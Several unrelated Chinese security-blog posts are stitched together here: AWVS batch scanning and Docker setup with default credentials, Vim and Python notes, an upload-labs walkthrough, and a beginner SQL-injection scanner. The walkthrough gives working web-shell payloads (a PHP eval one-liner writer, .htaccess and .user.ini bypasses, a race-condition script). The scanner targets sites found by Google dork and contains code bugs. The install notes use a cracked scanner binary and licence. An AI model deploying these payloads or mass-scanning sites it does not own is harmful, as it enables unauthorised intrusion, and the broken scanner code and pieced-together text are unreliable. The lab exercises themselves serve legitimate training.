前言

由于我个人是一名贫穷的学生机用户,学生机用来搞事情实在是有些吃力,但是闲置的资源总让我感到心痛,所以我决定用来挂AWVS这个漏扫环境

开始的时候用过Github上许多的AWVS13批量扫描脚本,但是我感觉总是差强人意,学生机的配置实在是不够高,哪怕是在批量导入Target的时候都有可能发包过快导致服务器短暂的宕机,更别提在扫描完全开启的时候,服务器必然宕机,我的Blog都无法访问,所以我花了一个晚上开发了这个小工具,希望可以帮到很多和我一样贫穷的孩子

开发学的比较菜,也希望大佬可以指出我的错误和不足

工具简介

本工具和其他工具的不同点在于,其他脚本的流程基本是

将所有的目标导入==》将所有的目标开始扫描==》等待AWVS自己解决

而由于上述提到的低配置机器会出现宕机的现象,所以在处理上完全在工具内部解决

判断当前扫描个数==》添加任务至设定的数量==》某个目标扫描结束==》添加目标并进行扫描

本工具具有以下功能

  • 美观的界面(其实不美观)
  • 控制同时最多数量个扫描同时进行
  • 更强的容错机制

美观的界面

由于本人实在是审美有些跟不上,简单的搞一下吧

1.png

控制同时最多数量个扫描同时进行

在脚本的initself.max_task为同时并发的任务数量,推荐学生机调成1,因为配置实在是太低了

简单写一下需要更改的配置,考虑到很多人像我一样是要nohup来跑,所以取消了input的区域

self.file_name = "target.txt"  # 文件名
self.api_host = "https://127.0.0.1:13443/"  # API地址
self.api_key = "asdsadsadsadsadsadsadwf321edsa32ed42dasd"  #API key
self.scan_mode = "11111111-1111-1111-1111-111111111112"  # 扫描模式
self.scan_speed = "sequential"  # 扫描速度
self.max_task = 5  # 最大同步任务,低配置建议为1

scan_mode列表:

类型
Full Scan11111111-1111-1111-1111-111111111111全部扫描
High Risk Vulnerabilities11111111-1111-1111-1111-111111111112高风险漏洞
Cross-site Scripting Vulnerabilities11111111-1111-1111-1111-111111111116XSS漏洞
SQL Injection Vulnerabilities11111111-1111-1111-1111-111111111113SQL注入漏洞
Weak Passwords11111111-1111-1111-1111-111111111115弱口令
Crawl Only11111111-1111-1111-1111-111111111117仅爬行
Malware Scan11111111-1111-1111-1111-111111111120恶意软件扫描

scan_speed列表:

  • sequential
  • slow
  • moderate
  • fast

从上到下为由慢到快

下载地址

https://github.com/Adian-kids/Awvs13_Batch.git

最后

有BUG请提交issue或者联系我!

谢谢大家

Docker源长期及时更新,感谢雷石安全实验室。

在docker仓库已经打包好2个扫描器,分别是awvs13和nessus,供广大兄弟们使用。

docker命令

pull 拉取下载镜像
docker pull leishianquan/awvs-nessus:v1
启动
docker run -it -d -p 13443:3443 -p 8834:8834 leishianquan/awvs-nessus:v1
需要注意的是访问Nessus需要进入容器启动Nessus 服务:

查看容器
docker ps –a
启动容器
docker start 容器id
进入容器
docke exec –it 容器id /bin/bash
启动nessus服务
/etc/init.d/nessusd start
Nessus:
https://127.0.0.1:8834/#/

nessus username:leishi

nessus password:leishianquan

Awvs13:
https://127.0.0.1:13443/

awvs13 username: admin@admin.com

awvs13 password: Admin123

转载自https://blog.lfoder.cn/2020/06/04/%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F-AWVS-Nessus-Docker%E7%89%88/

dd → 删除当前行,并把删除的行存到剪贴板里
p → 粘贴剪贴板
a → 在光标后插入
o → 在当前行后插入一个新行
O → 在当前行前插入一个新行
cw → 替换从光标所在位置后到一个单词结尾的字符
0 → 数字零,到行头
^ → 到本行第一个不是blank字符的位置(所谓blank字符就是空格,tab,换行,回车等)
$ → 到本行行尾
g_ → 到本行最后一个不是blank字符的位置。
/pattern → 搜索 pattern 的字符串(陈皓注:如果搜索出多个匹配,可按n键到下一个)
yy → 拷贝当前行当行于 ddP
u → undo
:e <path/to/file> → 打开一个文件
:w → 存盘
:saveas <path/to/file> → 另存为 <path/to/file>
:x, ZZ 或 :wq → 保存并退出 (:x 表示仅在需要时保存,ZZ不需要输入冒号并回车)
:q! → 退出不保存 :qa! 强行退出所有的正在编辑的文件,就算别的文件有更改。
:bn 和 :bp → 你可以同时打开很多文件,使用这两个命令来切换下一个或上一个文件。(陈皓注:我喜欢使用:n到下一个文件)
N<command> → 重复某个命令N次(比如100dd)NG → 到第 N 行 (陈皓注:注意命令中的G是大写的,另我一般使用 : N 到第N行,如 :137 到第137行)
gg → 到第一行。(陈皓注:相当于1G,或 :1)
G → 到最后一行。
% : 匹配括号移动,包括 (, {, [. (陈皓注:你需要把光标先移到括号上)

  • 和 #: 匹配光标当前所在的单词,移动光标到下一个(或上一个)匹配单词(*是下一个,#是上一个)

<start position><command><end position>

例如 0y$ 命令意味着:

0 → 先到行头
y → 从这里开始拷贝
$ → 拷贝到本行最后一个字符
你可可以输入 ye,从当前位置拷贝到本单词的最后一个字符。

你也可以输入 y2/foo 来拷贝2个 “foo” 之间的字符串。

还有很多时间并不一定你就一定要按y才会拷贝,下面的命令也会被拷贝:

d (删除 )
v (可视化的选择)
gU (变大写)
gu (变小写)
等等

J → 把所有的行连接起来(变成一行)
< 或 > → 左右缩进
= → 自动给缩进 (陈皓注:这个功能相当强大,我太喜欢了)
在 Insert 模式下,你可以输入一个词的开头,然后按 <C-p>或是<C-n>,自动补齐功能就出现了……

前言

一直都有看到各种工具的docker版本,但是由于个人的利用率不是很高,所以没有怎么了解过,但是最近遇到了ipsec配置到kali的问题,只能用docker,宝塔用的一脸懵(我可能是kali装宝塔第一人,害),所以还是好好学学docker的运用吧

笔记

交互式容器

runoob@runoob:~$ docker run -i -t ubuntu:15.10 /bin/bash
root@0123ce188bd8:/#
  • -t: 在新容器内指定一个伪终端或终端
  • -i: 允许你对容器内的标准输入 (STDIN) 进行交互。

后台模式启动容器

runoob@runoob:~$ docker run -d ubuntu:15.10 /bin/sh -c "while true; do echo hello world; sleep 1; done"
2b1b7a428627c51ab8810d541d759f072b4fc75487eed05812646b8534a2fe63 //容器id

我们需要确认容器有在运行,可以通过 docker ps 来查看

输出详情介绍:

  • CONTAINER ID: 容器 ID。
  • IMAGE: 使用的镜像。
  • COMMAND: 启动容器时运行的命令。
  • CREATED: 容器的创建时间。
  • STATUS: 容器状态。

    • created(已创建)
    • restarting(重启中)
    • running(运行中)
    • removing(迁移中)
    • paused(暂停)
    • exited(停止)
    • dead(死亡)
  • PORTS: 容器的端口信息和使用的连接类型(tcpudp)。
  • NAMES: 自动分配的容器名称。

前言

接触python有一段时间了,但是对import的使用还是一知半解`,在最近的开发中,遇到了关于import的问题,研究后写出来供大家参考

使用

import作用

import用来导入Package或者Module,导入后即可调用其功能

  • Package 通常Package是一个目录,导入的时候可以使用语句
from PackageName import ModuleName

或者Package目录下有入口文件__init__.py则可以直接

import PackageName

多数时候我们都在调用别人写好的package,有Idle自带的也有自己pip安装的

  • Module Module通常是一个文件,可以直接import导入
import ModuleName

也可以直接导入单一的功能

from ModuleName import FunctionName

Module常见格式有.py .pyo .pyc .pyd .so .dll 如果想导入多个module,则可以直接用逗号分隔开

import random, sys, os, socket

一个一个导入也可以

import random
import sys
import os
import socket

绝对导入和相对导入

在import的使用语法中,我们用.来替代/ 绝对导入和相对导入有些类似于绝对路径和相对路径 比如我们有以下目录结构

  • Root
  • __ init__.py

    • Package_one

      • Module_one.py
      • Module_two.py
    • Package_two

      • Module_three.py
      • Module_four.py
      • Package_three

        • __ init__.py

绝对导入

如果此时root目录下__init__.py想要导入Package_one中Module_one中的function_one 则可以使用以下语句

from Package_one.Module_one import function_one

绝对导入的优点是位置非常的明确和直接,PEP8明确建议采用绝对导入,同时缺点也很明确,在大的项目中,import可能会非常的冗长比如你可能出现

from XXX.XXX.XXX.XXXX.XXX.XXX import FunctionName

此时相对导入的好处就显现了出来

相对导入

就像相对路径一样,我们用一个.来表示当前目录,用两个..来表示上一级目录 还是刚才的目录结构

  • Root
  • __ init__.py

    • Package_one

      • Module_one.py
      • Module_two.py
    • Package_two

      • Module_three.py
      • Module_four.py
      • Package_three

        • __ init__.py 比如在Module_one中,我们要导入Module_two,那么我们可以直接
from . import Module_two

如果要导入Module_two中的function_one

from .Module_two import function_one

在跨目录时可以使用..来返回上级目录 比如我们要在Module_one中导入Module_four 则可以使用

from ..Package_two import Module_four

不幸的是,相对导入可能是混乱的,特别是对于目录结构可能改变的共享项目。相对导入也不像绝对导入一样可读,而且很难识别导入资源的位置。

原因

为了更好的解放双手,哦不,电脑,去做更有意义的事情,我斥巨资租了一个月的阿里云学生机,部署Awvs13

整活

我的机器装的是CentOS7

解决依赖问题

yum install bzip2 libXrender  libXext libXcursor  libXfixes libXcomposite libXrandr libXdamage  libXtst libXi cups-libs dbus-glib libXrandr libXcursor libXinerama cairo cairo-gobject pango  libXScrnSaver libatk-bridge-2.0.so.0 -y

下载

从国光师傅博客找的Awvs13

Awvs13

其他版本(Windows,Docker)可以去原文找(https://www.sqlsec.com/2020/04/awvs.html

开始安装

bash acunetix_13.0.200217097_x64_.sh
cp wvsc /home/acunetix/.acunetix/v_200217097/scanner/
cp license_info.json /home/acunetix/.acunetix/data/license/

我是root登录的,非root权限记得sudo

如果安装过程中报错

Checking os...
Checking for dependencies...
    - dependency libgdk-3.so.0 not found on the system
    - dependency libgdk_pixbuf-2.0.so.0 not found on the system
    - dependency libgtk-3.so.0 not found on the system
Some dependencies are not found on the system. Aborting installation.
Aborting installation

运行

yum provides libgdk-3.so.0

找到合适的包

yum install gtk3-3.22.30-3.el7.i686

附上基本操作

启动
sudo systemctl start acunetix_trial.service
停止
sudo systemctl stop acunetix_trial.service
重启
systemctl restart acunetix_trial.service

后记

出现了问题,可能阿里云有相关的限制,添加任务后无法进行扫描,直接Complete或者Failed
具体原因还没有查清

前言

有个朋友给我发来一个上古老站让我看看提权,但是我打开站点之后就只被注入点深深的吸引住了,因为有一个看上去很常见的waf,前段时间还有师傅在群里发过类似的,我寻思给他绕了
1.png

开始试图搞事情

在上面的提示中,貌似没有过滤order by,所以我们order by看一下有多少列
2.png

order by 10

返回正常

order by 11

返回数据库错误

在Msf的Payload的Rank列显示每个模块的级别
QQ图片20200709175228.png

Rank含义
Manual难以攻击成功
Low基本不可能成功,成功率低于50%
Average一般不会成功
Normal在特定版本中可以被利用成功
Good一般会成功
Great会自动检测到可利用的目标
Manual不会使服务器崩溃,基本可以放心使用,适用于Sql注入,命令执行,RFI等

前言

最近在准备比赛,发现自己基本的技能非常孱弱,大多停留在理论截断甚至理论都不清晰,实战经验过少,近期会不停的刷靶场来熟悉各种漏洞环境的利用

关于UPload_labs

1

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
项目地址 https://github.com/c0ny1/upload-labs

实战操作

Pass-01

Pass-01是一个前端的Javascript验证,在F12中我们可以看到一个
2
这个东西说实话几乎所有的Web安全基础教程都有讲到,甚至这个function名称都是这么熟悉
目前想到的方式有三种

  1. 在允许的后缀名里面加入php
  2. 删去<form>中的return checkFile()
  3. 将一句话的后缀改为.jpg,通过前端验证后我们使用Burpsuite抓包来更改扩展名

我们尝试加入后缀和删除函数
3
4
均上传成功
5
这里遇到了一个问题,Chrome浏览器删除相关代码之后还是不可以,但是改变字符串可以明显看出来改变成功,最后使用FireFox成功

Pass-02

Pass-02仍然可以看出来有checkfile(),但是Pass-02没那么简单,还是先F12删去Checkfile(),删去后发现仍然上传失败,根据提示,检查了数据包的MIME,所以我们修改一下,改为图片
6
这样就Pass了
7

Pass-03

随便上传了一句话发现禁用了.php .asp后缀,大小写绕过无果,尝试解析漏洞,发现这次文件名会被重命名

http://192.168.159.129/upload/202006010321305073.fasdsad

于是通过.php3这类后缀来突破上传

Pass-04

04的黑名单相对就比较齐全了,但是还是没有过滤.htaccess,所以我们用.htaccess来绕过,也可以通过解析漏洞.php.xxxx来向上解析

AddType application/x-httpd-php  .jpg

先上传图片,再上.htaccess,jpg就会被当作php解析
8
这就成功Getshell了

Pass-05

提示是:存在readme.php这个文件,并且过滤了.htaccess,但是根据提示我们可以猜到可以使用user.ini

auto_prepend_file=1.gif

然后再上传一个包含一句话的1.gif,就可以包含到readme.php中,连接即可

Pass-06

06更加简单,我们可以看到源码中没有把所有的字符转为小写,直接大小写绕过
9

Pass-07

07又加入了全部转小写,并且也限制了.htaccess和.ini后缀但是在源码中删除了去空格的代码,所以我们加空格绕过
10
成功Getshell

Pass-08

禁止所有可解析的文件上传,所以我们抓包上传.php.

Pass-09

源码中不处理::$DATA
所以抓包改1.php::$DATA
菜刀连接的时候只填写1.php

Pass-10

类似Pass-08 但是只处理文件名末尾的. 所以我们抓包1.php. .即可绕过
11

Pass-11

$file_name = str_ireplace($deny_ext,"", $file_name);

这一行会把所有的违规后缀直接替换为空,所以我们使用双写绕过a.pphphp
12
上传进去的自然就是.php后缀

Pass-12

提示上传路径可控,我们使用00截断,在路径/upload/后加入/a.php%00,GET提交的参数%00可截断,但是POST提交需要在Hex中修改
13
上传成功
14

Pass-13

如12所说,在hex中改00来截断上传

Pass-14

要求文件包含来getshell,判断图片格式,那么我们传一个图片马,题目自带有include.php

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

我们
http://192.168.159.129/include.php?file=/upload/4320200601165221.gif
就可以正常解析

Pass-15

使用getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING

级的错误信息,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。

我们需要一个完全正常的图片马,建议使用edjpgcom来生成,其他步骤同Pass-14

Pass-16

同Pass-14 Pass-15相同,同一个马儿就可以过,此函数需要开启php_exif

Pass-17

没搞定

Pass-18

18提示需要代码审计
代码如下

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

新建了一个tmp_file作为临时文件,是一个竞争绕过上传,先一直先burp多线程发包,然后使用脚本来不停访问
15
要clear所有的$
写文件脚本

<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>

脚本

import requests
url = "http://192.168.159.129/upload/fputs.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

Pass-19

同18一样竞争绕过,但是是先判断后缀

Pass-20

使用文件后缀加.的方式绕过
16
上传成功

Pass-21

CTF题,现实中几乎遇不到这种情况,不做了

前言

我觉得Kali里面啊D最好用!
KaliD.jpg

正文

言归正传,由题,你可以看到,这是一期十分新手向的文章,是时候脱离脚本小子的范畴了!从写自己的第一个工具开始吧!
准备作案工具:

  • 一台电脑
  • Python3.X

Python强大丰富的第三方库让我们的安全工具开发变得方便和简单,比如requests和scapy,也就是说import在手天下我有,所以在此向各位看官强烈安利Python
python.jpg

相信以各位的聪明才智,Python环境的安装应该是难不倒大家的,网上太多的教程,我就不在此赘述了。先介绍一下我们今天要用的requests库吧

Requests 是用python语言编写的第三方库,基于 urllib,采用 Apache2 Licensed 开源协议的 HTTP 库

语句功能
requests.request()构造请求
requests.get()获取HTML网页,用于GET
requests.head()获取网页信息头
requests.post()提交POST请求
requests.put()对应HTTP协议中的PUT
requests.patch()对应HTTP协议中的PATCH
requests.delete()对应HTTP协议中的DELETE

安装方法:

pip install requests

在下载安装完成之后,我们敲上最重要的一行代码来调用requests库

from requests import *

然后接下来们大致捋一捋思路

  1. 要实现SQL注入漏洞的简单判断(新手向嘛)
  2. 需要循环来批量判断

你可能觉得听起来很简单,但是实际上做起来 更简单!
先说实现注入漏洞的简单判断,如果你也是小学生教程和各种上古教程的受害者,那么你一定知道这个方法

and 1=1
and 1=2

因为我们上面再调用requests库的时候用的是from requests import *而不是import requests,我们可以直接用get()来代替requests.get(),我们get().headers.get('Content-Length')这样可以得到返回的数据包头Content-Length值,只要判断and 1=1的情况下与原网页一致,and 1=2的时候与其他两个都不一样就好(会报错)
所以我们定义一个函数并且新建一个list来写这两个语句

def SqlInjection(url):
    Payload = ['and 1=1','and 2=2']
    v1 = get(url).headers.get('Content-Length')
    v2 = get(url+payload[0]).headers.get('Content-Length')
    v3 = get(url+payload[1]).headers.get('Content-Length')
    if v1 == v2 and v2 != v3:
        return True
    else:
        return False

现在判断注入功能基本实现,其实还有很多种判断方法,这里只说最简单的一点,毕竟新手向
我们再来实现批量,我们可以用采集器批量采集,也可以百度或者谷歌

inurl:.php?id=1

就可以得到所有在url中含有.php?id=1,也就是可能出现sql注入漏洞的页面,当然也可以自己写,requests库写爬虫也杠杠的,我们把结果导出到Website.txt中,接下来就更简单了,基本的文件读写和循环语句

f = open("Website.txt","r") #只读
while True:
    url = f.readline()
    result = SqlInjection(url)
    if result == True:
        print ("%s Is Usable"%url)
    else:
        print ("%s Is Unusable"%url)
f.close()

其实有更好的办法,例如把可用的注入点导入到一个文件里等等,这里只说一个最简单的(毕竟新手向嘛!手动狗头)总的来说就是

    from requests import *
    def SqlInjection(url):
        Payload = ['and 1=1','and 2=2']
        v1 = get(url).headers.get('Content-Length')
        v2 = get(url+payload[0]).headers.get('Content-Length')
        v3 = get(url+payload[1]).headers.get('Content-Length')
        if v1 == v2 and v2 != v3:
            return True
        else:
            return False
    f = open("Website.txt","r") #只读
    while True:
        url = f.readline()
        result = SqlInjection(url)
        if result == True:
            print ("%s Is Usable"%url)
        else:
            print ("%s Is Unusable"%url)
    f.close()

就是这么简单,从一个简单的判断注入,到根据学习可以更好的判断注入,到可以实现注入语句的执行和返回,再到识别甚至绕过waf,下一个sqlmap不是梦!